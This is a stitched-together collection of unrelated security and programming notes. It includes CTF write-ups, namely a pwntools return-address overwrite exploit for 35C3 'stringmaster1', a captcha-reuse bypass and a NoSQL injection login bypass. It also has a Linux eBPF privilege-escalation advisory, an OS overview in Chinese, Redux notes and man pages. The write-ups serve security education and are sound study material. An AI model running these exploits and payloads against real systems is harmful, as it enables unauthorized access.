fe 7f 00 00 2c a8 2c 57 fe 7f 00 00 │··,W│····│,·,W│····│ 000001a0 3c a8 2c 57 fe 7f 00 00 58 a8 2c 57 fe 7f 00 00 │<·,W│····│X·,W│····│ 000001b0 6a a8 2c 57 fe 7f 00 00 72 a8 2c 57 fe 7f 00 00 │j·,W│····│r·,W│····│ 000001c0 85 a8 2c 57 fe 7f 00 00 a3 a8 2c 57 fe 7f 00 00 │··,W│····│··,W│····│ 000001d0 8f ae 2c 57 fe 7f 00 00 b8 ae 2c 57 fe 7f 00 00 │··,W│····│··,W│····│ 000001e0 c9 ae 2c 57 fe 7f 00 00 ea ae 2c 57 fe 7f 00 00 │··,W│····│··,W│····│ 000001f0 f7 ae 2c 57 fe 7f 00 00 01 af 2c 57 fe 7f 00 00 │··,W│····│··,W│····│ 00000200 15 af 2c 57 fe 7f 00 00 64 af 2c 57 fe 7f 00 00 │··,W│····│d·,W│····│ 00000210 98 af 2c 57 fe 7f 00 00 a3 af 2c 57 fe 7f 00 00 │··,W│····│··,W│····│ 00000220 d6 af 2c 57 fe 7f 00 00 00 00 00 00 00 00 00 00 │··,W│····│····│····│ ``` In parallel, let's take a look at the assembly of `main`: ```assembly [0x004010c0]> s sym.main [0x00402453]> pdf ;-- main: / (fcn) sym.main 36 | sym.main (int argc, char **argv, char **envp); | ; DATA XREF from entry0 (0x4010dd) | 0x00402453 4883ec08 sub rsp, 8 | 0x00402457 bf00000000 mov edi, 0 | 0x0040245c e84febffff call sym.imp.time ; time_t time(time_t *timer) | 0x00402461 89c7 mov edi, eax | 0x00402463 e868ebffff call sym.imp.srand ; void srand(int seed) | 0x00402468 e867f0ffff call sym.play | 0x0040246d b800000000 mov eax, 0 | 0x00402472 4883c408 add rsp, 8 \ 0x00402476 c3 ret ``` The function calls `play`, which drives the game. After the game finishes, we will return to the following command: ```assembly 0x0040246d b800000000 mov eax, 0 ``` And indeed, we can see this return address in the hex dump, at location 0x88: ``` 00000080 00 00 00 00 00 00 00 00 6d 24 40 00 00 00 00 00 │····│····│m$@·│····│ ``` If so, we can easily replace the return address with anything we want by playing the swap & replace game, and then quit the game to jump to a location of our choice. Obviously, the natural choice would be to jump to `spawn_shell`. Putting it all together: ```python from pwn import * import argparse import os import string #context.log_level = "debug" LOCAL_PATH = "./stringmaster1" def get_process(is_remote = False): if is_remote: return remote("35.207.132.47", 22224) else: return process(LOCAL_PATH) def read_menu(proc): proc.recvuntil("\n> ") def swap(proc, index1, index2): read_menu(proc) proc.sendline("swap") proc.sendline("{} {}".format(index1, index2)) log.info("Swapping index {} and {}".format(index1, index2)) def replace(proc, char1, char2): read_menu(proc) proc.sendline("replace") proc.sendline("{} {}".format(char1, char2)) log.info("Replacing '{}' and '{}'".format(char1, char2)) def print_info(proc): read_menu(proc) proc.sendline("print") return proc.recvuntil("\nEnter the command you want to execute:", drop = True) def quit(proc): read_menu(proc) proc.sendline("quit") log.info("Quitting...") parser = argparse.ArgumentParser() parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true") args = parser.parse_args() e = ELF(LOCAL_PATH) p = get_process(args.remote) p.recvuntil("String1: ") str1 = p.recvline() p.recvuntil("String2: ") str2 = p.recvline() log.info("String 1: {}".format(str1)) log.info("String 2: {}".format(str2)) for x in string.ascii_lowercase: if x not in str1: missing_letter = x break replace(p, x, x) # 0x40246d (ret) -> 0x4011A7 (shell) spawn_shell_addr = e.symbols["_Z11spawn_shellv"] log.info("Address of spawn_shell: {}".format(hex(spawn_shell_addr))) print "Before modification:" print hexdump(print_info(p)) base_index = 0x88 for i, char in enumerate(p64(spawn_shell_addr)): replace(p, str1[0], char) swap(p, 0, base_index + i) str1 = print_info(p)[:len(str1)] print "After modification:" print hexdump(print_info(p)) quit(p) p.interactive() ``` The output: ``` root@kali:/media/sf_CTFs/35c3ctf/stringmaster1# python exploit.py -r [*] '/media/sf_CTFs/35c3ctf/stringmaster1/stringmaster1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 35.207.132.47 on port 22224: Done [*] String 1: xiubaoxvlf [*] String 2: xhipigncjw [*] Replacing 'c' and 'c' [*] Address of spawn_shell: 0x4011a7 Before modification: 00000000 78 69 75 62 61 6f 78 76 6c 66 00 00 00 00 00 00 │xiub│aoxv│lf··│····│ 00000010 80 ae fd 98 ff 7f 00 00 0a 00 00 00 00 00 00 00 │····│····│····│····│ 00000020 78 68 69 70 69 67 6e 63 6a 77 00 00 00 00 00 00 │xhip│ignc│jw··│····│ 00000030 a0 ae fd 98 ff 7f 00 00 0a 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 78 69 75 62 61 6f 78 76 6c 66 00 00 00 00 00 00 │xiub│aoxv│lf··│····│ 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000060 e0 24 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 │·$@·│····│··@·│····│ 00000070 d0 af fd 98 ff 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000080 00 00 00 00 00 00 00 00 6d 24 40 00 00 00 00 00 │····│····│m$@·│····│ 00000090 00 00 00 00 00 00 00 00 97 bb e2 6c cc 7f 00 00 │····│····│···l│····│ 000000a0 90 ff ff ff ff ff ff ff d8 af fd 98 ff 7f 00 00 │····│····│····│····│ 000000b0 90 ff ff ff 01 00 00 00 53 24 40 00 00 00 00 00 │····│····│S$@·│····│ 000000c0 00 00 00 00 00 00 00 00 f4 4b e9 91 1c 11 93 84 │····│····│·K··│····│ 000000d0 c0 10 40 00 00 00 00 00 d0 af fd 98 ff 7f 00 00 │··@·│····│····│····│ 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000f0 f4 4b 29 86 67 20 6c 7b f4 4b b7 ae 59 c8 0b 7b │·K)·│g l{│·K··│Y··{│ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000110 00 00 00 00 00 00 00 00 33 c7 7a 6d cc 7f 00 00 │····│····│3·zm│····│ 00000120 b8 c2 78 6d cc 7f 00 00 a2 87 23 00 00 00 00 00 │··xm│····│··#·│····│ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000140 00 00 00 00 00 00 00 00 c0 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000150 d0 af fd 98 ff 7f 00 00 ea 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000160 c8 af fd 98 ff 7f 00 00 1c 00 00 00 00 00 00 00 │····│····│····│····│ 00000170 01 00 00 00 00 00 00 00 46 cf fd 98 ff 7f 00 00 │····│····│F···│····│ 00000180 00 00 00 00 00 00 00 00 54 cf fd 98 ff 7f 00 00 │····│····│T···│····│ 00000190 6a cf fd 98 ff 7f 00 00 75 cf fd 98 ff 7f 00 00 │j···│····│u···│····│ 000001a0 80 cf fd 98 ff 7f 00 00 c2 cf fd 98 ff 7f 00 00 │····│····│····│····│ 000001b0 c8 cf fd 98 ff 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000001c0 21 00 00 00 00 00 00 00 00 b0 ff 98 ff 7f 00 00 │!···│····│····│····│ 000001d0 10 00 00 00 00 00 00 00 ff fb 8b 1f 00 00 00 00 │····│····│····│····│ 000001e0 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│ 000001f0 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│ 00000200 03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00 │····│····│@·@·│····│ 00000210 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│ 00000220 05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│ 00000230 07 00 00 00 00 00 00 00 00 c0 79 6d cc 7f 00 00 │····│····│··ym│····│ 00000240 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000250 09 00 00 00 00 00 00 00 c0 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000260 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000270 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000280 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000290 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 000002a0 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000002b0 19 00 00 00 00 00 00 00 69 b1 fd 98 ff 7f 00 00 │····│····│i···│····│ 000002c0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000002d0 1f 00 00 00 00 00 00 00 e9 cf fd 98 ff 7f 00 00 │····│····│····│····│ 000002e0 0f 00 00 00 00 00 00 00 79 b1 fd 98 ff 7f 00 00 │····│····│y···│····│ 000002f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000300 00 00 00 00 00 00 00 00 00 9e 26 c3 ae af 40 3d │····│····│··&·│··@=│ 00000310 c5 14 6c ce 88 49 42 fa a5 78 38 36 5f 36 34 00 │··l·│·IB·│·x86│_64·│ 00000320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00001000 [*] Replacing 'x' and '\xa7' [*] Swapping index 0 and 136 [*] Replacing 'm' and '\x11' [*] Swapping index 0 and 137 [*] Replacing '$' and '@' [*] Swapping index 0 and 138 [*] Replacing '@' and '\x00' [*] Swapping index 0 and 139 [*] Replacing '\x00' and '\x00' [*] Swapping index 0 and 140 [*] Replacing '\x00' and '\x00' [*] Swapping index 0 and 141 [*] Replacing '\x00' and '\x00' [*] Swapping index 0 and 142 [*] Replacing '\x00' and '\x00' [*] Swapping index 0 and 143 After modification: 00000000 00 69 75 62 61 6f 78 76 6c 66 00 00 00 00 00 00 │·iub│aoxv│lf··│····│ 00000010 80 ae fd 98 ff 7f 00 00 0a 00 00 00 00 00 00 00 │····│····│····│····│ 00000020 78 68 69 70 69 67 6e 63 6a 77 00 00 00 00 00 00 │xhip│ignc│jw··│····│ 00000030 a0 ae fd 98 ff 7f 00 00 0a 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 78 69 75 62 61 6f 78 76 6c 66 00 00 00 00 00 00 │xiub│aoxv│lf··│····│ 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000060 e0 24 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 │·$@·│····│··@·│····│ 00000070 d0 af fd 98 ff 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000080 00 00 00 00 00 00 00 00 a7 11 40 00 00 00 00 00 │····│····│··@·│····│ 00000090 00 00 00 00 00 00 00 00 97 bb e2 6c cc 7f 00 00 │····│····│···l│····│ 000000a0 90 ff ff ff ff ff ff ff d8 af fd 98 ff 7f 00 00 │····│····│····│····│ 000000b0 90 ff ff ff 01 00 00 00 53 24 40 00 00 00 00 00 │····│····│S$@·│····│ 000000c0 00 00 00 00 00 00 00 00 f4 4b e9 91 1c 11 93 84 │····│····│·K··│····│ 000000d0 c0 10 40 00 00 00 00 00 d0 af fd 98 ff 7f 00 00 │··@·│····│····│····│ 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000f0 f4 4b 29 86 67 20 6c 7b f4 4b b7 ae 59 c8 0b 7b │·K)·│g l{│·K··│Y··{│ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000110 00 00 00 00 00 00 00 00 33 c7 7a 6d cc 7f 00 00 │····│····│3·zm│····│ 00000120 b8 c2 78 6d cc 7f 00 00 a2 87 23 00 00 00 00 00 │··xm│····│··#·│····│ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000140 00 00 00 00 00 00 00 00 c0 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000150 d0 af fd 98 ff 7f 00 00 ea 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000160 c8 af fd 98 ff 7f 00 00 1c 00 00 00 00 00 00 00 │····│····│····│····│ 00000170 01 00 00 00 00 00 00 00 46 cf fd 98 ff 7f 00 00 │····│····│F···│····│ 00000180 00 00 00 00 00 00 00 00 54 cf fd 98 ff 7f 00 00 │····│····│T···│····│ 00000190 6a cf fd 98 ff 7f 00 00 75 cf fd 98 ff 7f 00 00 │j···│····│u···│····│ 000001a0 80 cf fd 98 ff 7f 00 00 c2 cf fd 98 ff 7f 00 00 │····│····│····│····│ 000001b0 c8 cf fd 98 ff 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000001c0 21 00 00 00 00 00 00 00 00 b0 ff 98 ff 7f 00 00 │!···│····│····│····│ 000001d0 10 00 00 00 00 00 00 00 ff fb 8b 1f 00 00 00 00 │····│····│····│····│ 000001e0 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│ 000001f0 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│ 00000200 03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00 │····│····│@·@·│····│ 00000210 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│ 00000220 05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│ 00000230 07 00 00 00 00 00 00 00 00 c0 79 6d cc 7f 00 00 │····│····│··ym│····│ 00000240 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000250 09 00 00 00 00 00 00 00 c0 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000260 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000270 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000280 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000290 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 000002a0 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000002b0 19 00 00 00 00 00 00 00 69 b1 fd 98 ff 7f 00 00 │····│····│i···│····│ 000002c0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000002d0 1f 00 00 00 00 00 00 00 e9 cf fd 98 ff 7f 00 00 │····│····│····│····│ 000002e0 0f 00 00 00 00 00 00 00 79 b1 fd 98 ff 7f 00 00 │····│····│y···│····│ 000002f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000300 00 00 00 00 00 00 00 00 00 9e 26 c3 ae af 40 3d │····│····│··&·│··@=│ 00000310 c5 14 6c ce 88 49 42 fa a5 78 38 36 5f 36 34 00 │··l·│·IB·│·x86│_64·│ 00000320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00001000 [*] Quitting... [*] Switching to interactive mode You lost. $ ls bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv stringmaster1 sys tmp usr var $ cat flag.txt 35C3_a6a9d10c61a652d23fbd0e9f73e638dac093472c $ exit [*] Got EOF while reading in interactive $ $ [*] Closed connection to 35.207.132.47 port 22224 [*] Got EOF while sending in interactive ``` The flag: 35C3_a6a9d10c61a652d23fbd0e9f73e638dac093472c
sec-knowleage
# 计算机操作系统 - 概述 <!-- GFM-TOC --> * [计算机操作系统 - 概述](#计算机操作系统---概述) * [基本特征](#基本特征) * [1. 并发](#1-并发) * [2. 共享](#2-共享) * [3. 虚拟](#3-虚拟) * [4. 异步](#4-异步) * [基本功能](#基本功能) * [1. 进程管理](#1-进程管理) * [2. 内存管理](#2-内存管理) * [3. 文件管理](#3-文件管理) * [4. 设备管理](#4-设备管理) * [系统调用](#系统调用) * [宏内核和微内核](#宏内核和微内核) * [1. 宏内核](#1-宏内核) * [2. 微内核](#2-微内核) * [中断分类](#中断分类) * [1. 外中断](#1-外中断) * [2. 异常](#2-异常) * [3. 陷入](#3-陷入) <!-- GFM-TOC --> ## 基本特征 ### 1. 并发 并发是指宏观上在一段时间内能同时运行多个程序,而并行则指同一时刻能运行多个指令。 并行需要硬件支持,如多流水线、多核处理器或者分布式计算系统。 操作系统通过引入进程和线程,使得程序能够并发运行。 ### 2. 共享 共享是指系统中的资源可以被多个并发进程共同使用。 有两种共享方式:互斥共享和同时共享。 互斥共享的资源称为临界资源,例如打印机等,在同一时刻只允许一个进程访问,需要用同步机制来实现互斥访问。 ### 3. 虚拟 虚拟技术把一个物理实体转换为多个逻辑实体。 主要有两种虚拟技术:时(时间)分复用技术和空(空间)分复用技术。 多个进程能在同一个处理器上并发执行使用了时分复用技术,让每个进程轮流占用处理器,每次只执行一小个时间片并快速切换。 虚拟内存使用了空分复用技术,它将物理内存抽象为地址空间,每个进程都有各自的地址空间。地址空间的页被映射到物理内存,地址空间的页并不需要全部在物理内存中,当使用到一个没有在物理内存的页时,执行页面置换算法,将该页置换到内存中。 ### 4. 异步 异步指进程不是一次性执行完毕,而是走走停停,以不可知的速度向前推进。 ## 基本功能 ### 1. 进程管理 进程控制、进程同步、进程通信、死锁处理、处理机调度等。 ### 2. 内存管理 内存分配、地址映射、内存保护与共享、虚拟内存等。 ### 3. 文件管理 文件存储空间的管理、目录管理、文件读写管理和保护等。 ### 4. 设备管理 完成用户的 I/O 请求,方便用户使用各种设备,并提高设备的利用率。 主要包括缓冲管理、设备分配、设备处理、虛拟设备等。 ## 系统调用 如果一个进程在用户态需要使用内核态的功能,就进行系统调用从而陷入内核,由操作系统代为完成。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/tGPV0.png" width="600"/> </div><br> Linux 的系统调用主要有以下这些: | Task | Commands | | :---: | --- | | 进程控制 | fork(); exit(); wait(); | | 进程通信 | pipe(); shmget(); mmap(); | | 文件操作 | open(); read(); write(); | | 设备操作 | ioctl(); read(); write(); | | 信息维护 | getpid(); alarm(); sleep(); | | 安全 | chmod(); umask(); chown(); | ## 宏内核和微内核 ### 1. 宏内核 宏内核是将操作系统功能作为一个紧密结合的整体放到内核。 由于各模块共享信息,因此有很高的性能。 ### 2. 微内核 由于操作系统不断复杂,因此将一部分操作系统功能移出内核,从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务,相互独立。 在微内核结构下,操作系统被划分成小的、定义良好的模块,只有微内核这一个模块运行在内核态,其余模块运行在用户态。 因为需要频繁地在用户态和核心态之间进行切换,所以会有一定的性能损失。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2_14_microkernelArchitecture.jpg"/> </div><br> ## 中断分类 ### 1. 外中断 由 CPU 执行指令以外的事件引起,如 I/O 完成中断,表示设备输入/输出处理已经完成,处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。 ### 2. 异常 由 CPU 执行指令的内部事件引起,如非法操作码、地址越界、算术溢出等。 ### 3. 陷入 在用户程序中使用系统调用。
sec-knowleage
# Midnight Sun CTF Finals 2018 Team: c7f.m0d3, shalom, msm, chivay, akrasuski1 ### Table of contents * [Mimisbrunnr (web)](mimisbrunnr_web) * [Pagerank (web)](pagerank_web) * [Badchair (crypto)](badchair_crypto) * [Crawling Code Creature (re/for)](crawling_for) * [Encrypted espionage equipment (re)](encrypted_espionage_equipment) * [Crazy Circuit Conundrum (re)](crazy_circuit_conundrum)
sec-knowleage
## jareCaptcha (web/ppc, 200 points, 32 solves) ![scr1.png](scr1.png) After solving a sudoku and entering the correct captcha we get `You have solved 1 sudokus, just 199 to go!` Solving sudokus is easy, ocr-ing captchas is the hard part, and with 200 puzzles, doing it manually is not a possibility. The current captcha id is stored in our session id, and we get a new one each time the image is downloaded. Which means that we should be able to load a starting captcha once, transcribe it manually and then send each sudoku solution with the same captcha answer. A random sudoku solver should work, (we used https://attractivechaos.github.io/plb/kudoku.html) ``` javascript //get the sudoku fields tables = document.getElementsByTagName("tr") out = "" //parse the sudoku board for(var i=1; i<tables.length; i++){ rows = tables[i].children for(var j=0; j<9; j++){ fields = (rows[j].innerHTML) if(fields != "&nbsp;&nbsp;"){ out += (fields) } else { out += "." } } } function sudoku_solver() { ... solving sudoku, boring... ... } //solve the sudoku solver = sudoku_solver() solution = (solver(out)[0].join('')) //fill the form document.getElementsByName("solvedsudoku")[0].value = solution document.getElementsByName("captcha")[1].value = "209S1 6065S" //first captcha //submit document.forms[0].submit.click() ``` Chrome has a setting to stop it from downloading any images, which made things a lot easier. And after a lot of clicking, we get the flag: `SharifCTF{431bdff2b76f2e54a2621d13d5d5fbb7} ;) `
sec-knowleage
--- title: CVE-2022-23222 --- <center><h1>CVE-2022-23222</h1><b>本文作者:一生热爱</b><br><br></center> --- ## 一、描述 Linux 内核的 BPF 验证器(kernel/bpf/verifier.c)的 adjust_ptr_min_max_vals() 中存在安全问题,对执行指针运算的 *_OR_NULL 指针类型缺少检查,这可以用来绕过验证器的检查并提升权限。 ## 二、影响范围 5.8.0 <= Linux 内核 <= 5.16 ## 三、缓解措施 ```bash sudo sysctl kernel.unprivileged_bpf_disabled=1 ``` > 设置为 1 意味着非特权用户无法使用 eBPF ```bash cat /proc/sys/kernel/unprivileged_bpf_disabled ``` ## 四、漏洞利用 代码链接:[https://github.com/tr3ee/CVE-2022-23222.git](https://github.com/tr3ee/CVE-2022-23222.git) 此漏洞利用并不稳定,构建与运行如下图所示。 ```bash > make cc -I include -static -w -o exploit exploit.c ``` <img width="600" src="/img/Snipaste_2022-07-07_20-57-22.png"><br> <img width="500" src="/img/Snipaste_2022-07-07_20-58-54.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年7月7日" } } </script>
sec-knowleage
setsid === 在新的会话中运行程序 ## 补充说明 **setsid命令** 子进程从父进程继承了:SessionID、进程组ID和打开的终端。子进程如果要脱离这些,代码中可通过调用setsid来实现。,而命令行或脚本中可以通过使用命令setsid来运行程序实现。setsid帮助一个进程脱离从父进程继承而来的已打开的终端、隶属进程组和隶属的会话。 ### 语法 ```shell setsid[options] <program> [arguments ...] ``` ### 选项 ```shell -c, --ctty 将控制终端设置为当前控制终端 -f, --fork 总是 fork -w, --wait 等待程序退出,并使用相同的返回 ``` ### 实例 可见 setsid 的使用也是非常方便的,也只需在要处理的命令前加上 setsid 即可 ```shell [root@root ~]# setsid ping www.ibm.com [root@root ~]# ps -ef |grep www.ibm.com root 31094 1 0 07:28 ? 00:00:00 ping www.ibm.com root 31102 29217 0 07:29 pts/4 00:00:00 grep www.ibm.com [root@root ~]# ```
sec-knowleage
# Login App Web, 473 points ## Description: A link to a website was provided. ```html <html> <head> <title>TAMUctf</title> <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script> <style class="cp-pen-styles">@import url(https://fonts.googleapis.com/css?family=Roboto:300); <!-- ... unimportant styles --> .form .register-form { display: none; } <!-- ... more unimportant styles --> </style> </head> <div class="login-page"> <div class="form"> <form class="register-form"> <input type="text" placeholder="name"/> <input type="password" placeholder="password"/> <input type="text" placeholder="email address"/> <button>create</button> </form> <form class="login-form"> <input id="username" type="text" placeholder="username"/> <input id="password" type="password" placeholder="password"/> <button id="submit">login</button> </form> </div> </div> <script> $("#submit").on('click', function(){ $.ajax({ url: 'login', type : "POST", dataType : 'json', data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}), contentType: 'application/json;charset=UTF-8', success : function(result) { $(".result").html(result); console.log(result); alert(result); }, error: function(xhr, resp, text) { $(".result").html("Something went wrong"); console.log(xhr, resp, text); } }) }); </script> </body> </html> ``` ## Solution: The website had a login form and a registration form, but the latter was hidden using CSS. Some initial recon showed that the site was built using the "Express" node.js framework, based on the `X-Powered-By: Express` header. ```console root@kali:~# curl 'http://web4.tamuctf.com/' -v * Trying 34.208.211.186... * TCP_NODELAY set * Connected to web4.tamuctf.com (34.208.211.186) port 80 (#0) > GET / HTTP/1.1 > Host: web4.tamuctf.com > User-Agent: curl/7.61.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.15.8 < Date: Tue, 05 Mar 2019 17:46:27 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 3991 < Connection: keep-alive < X-Powered-By: Express < Accept-Ranges: bytes < Cache-Control: public, max-age=0 < Last-Modified: Tue, 19 Feb 2019 17:28:45 GMT < ETag: W/"f97-16906cd80c8" ``` In addition, sending a malformed request to the server also exposed a JS-based call stack: ```console root@kali:~# curl 'http://web4.tamuctf.com/login' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"username":,"password":""}' && echo <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>SyntaxError: Unexpected token , in JSON at position 12<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp; &nbsp;at /node_modules/body-parser/lib/read.js:121:18<br> &nbsp; &nbsp;at invokeCallback (/node_modules/raw-body/index.js:224:16)<br> &nbsp; &nbsp;at done (/node_modules/raw-body/index.js:213:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/node_modules/raw-body/index.js:273:7)<br> &nbsp; &nbsp;at emitNone (events.js:106:13)<br> &nbsp; &nbsp;at IncomingMessage.emit (events.js:208:7)<br> &nbsp; &nbsp;at endReadableNT (_stream_readable.js:1064:12)<br> &nbsp; &nbsp;at _combinedTickCallback (internal/process/next_tick.js:138:11)</pre> </body> </html> ``` There was not much to work with here, so after exhausting SQL injection I moved to NoSQL injection and finally hit the jackpot: ```console root@kali:~# curl 'http://web4.tamuctf.com/login' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"username":{"$ne": null},"password":{"$ne": null}}' && echo "Welcome: bob!" root@kali:~# curl 'http://web4.tamuctf.com/login' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"username":{"$ne": "bob"},"password":{"$ne": null}}' && echo "Welcome: admin!\ngigem{n0_sql?_n0_pr0bl3m_8a8651c31f16f5dea}" ```
sec-knowleage
# Reducer ### 什么是Reducer Store 收到 Action 以后,必须给出一个新的 State,这样 View 才会发生变化。这种 State 的计算过程就叫做 Reducer ### Reducer模板 ```jss const reducer = function (state, action) { // ... return new_state; ``` ### Reducer的使用 Reducer 是一个函数,它接受 Action 和当前 State 作为参数,返回一个新的 State ```js const reducer = (state = 0, action) => { switch (action.type) { case 'INCREMENT_NUM': console.log('state', state) return state++ default: return state; } } ``` 上面代码中,reducer函数收到名为`INCREMENT_NUM`的 Action 以后,就返回一个新的 State,作为加法的计算结果。 ### 怎样在组件中调用 Reducer - 实际应用中,Reducer 函数不用手动调用,`store.dispatch`方法会触发 Reducer 的自动执行。 - 为此,Store 需要知道 Reducer 函数,做法就是在生成 Store 的时候,将 Reducer 传入createStore方法。 ```js import { createStore } from 'redux'; const store = createStore(reducer); ``` ### Reducer 的拆分合并 我们可能会分模块和功能写多个 reducer 文件,但最终,我们都需要把它合并到一个里面,这需要使用redex中的`combineReducers` ```js import { combineReducers } from "redux" import ×× from "./××reducers" const rootReducer = combineReducers({ ××: ××Reducer }) export default rootReducer ``` ### 注意:Reducer不能 1. 不要修改state(返回一个新的state) 2. 执行有副作用的操作,如 API 请求和路由跳转 3. 调用非纯函数,如 Date.now() 或 Math.random()
sec-knowleage
iptraf === 实时地监视网卡流量 ## 补充说明 **iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 ### 语法 ```shell iptraf(选项) ``` ### 选项 ```shell -i网络接口:立即在指定网络接口上开启IP流量监视; -g:立即开始生成网络接口的概要状态信息; -d网络接口:在指定网络接口上立即开始监视明细的网络流量信息; -s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息; -z网络接口:在指定网络接口上显示包计数; -l网络接口:在指定网络接口上立即开始监视局域网工作站信息; -t时间:指定iptraf指令监视的时间; -B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行; -f:清空所有计数器; -h:显示帮助信息。 ```
sec-knowleage
<!-- GFM-TOC --> * [一、基础](#一基础) * [二、创建表](#二创建表) * [三、修改表](#三修改表) * [四、插入](#四插入) * [五、更新](#五更新) * [六、删除](#六删除) * [七、查询](#七查询) * [DISTINCT](#distinct) * [LIMIT](#limit) * [八、排序](#八排序) * [九、过滤](#九过滤) * [十、通配符](#十通配符) * [十一、计算字段](#十一计算字段) * [十二、函数](#十二函数) * [汇总](#汇总) * [文本处理](#文本处理) * [日期和时间处理](#日期和时间处理) * [数值处理](#数值处理) * [十三、分组](#十三分组) * [十四、子查询](#十四子查询) * [十五、连接](#十五连接) * [内连接](#内连接) * [自连接](#自连接) * [自然连接](#自然连接) * [外连接](#外连接) * [十六、组合查询](#十六组合查询) * [十七、视图](#十七视图) * [十八、存储过程](#十八存储过程) * [十九、游标](#十九游标) * [二十、触发器](#二十触发器) * [二十一、事务管理](#二十一事务管理) * [二十二、字符集](#二十二字符集) * [二十三、权限管理](#二十三权限管理) * [参考资料](#参考资料) <!-- GFM-TOC --> # 一、基础 模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。 主键的值不允许修改,也不允许复用(不能将已经删除的主键值赋给新数据行的主键)。 SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL、Transact-SQL 等。 SQL 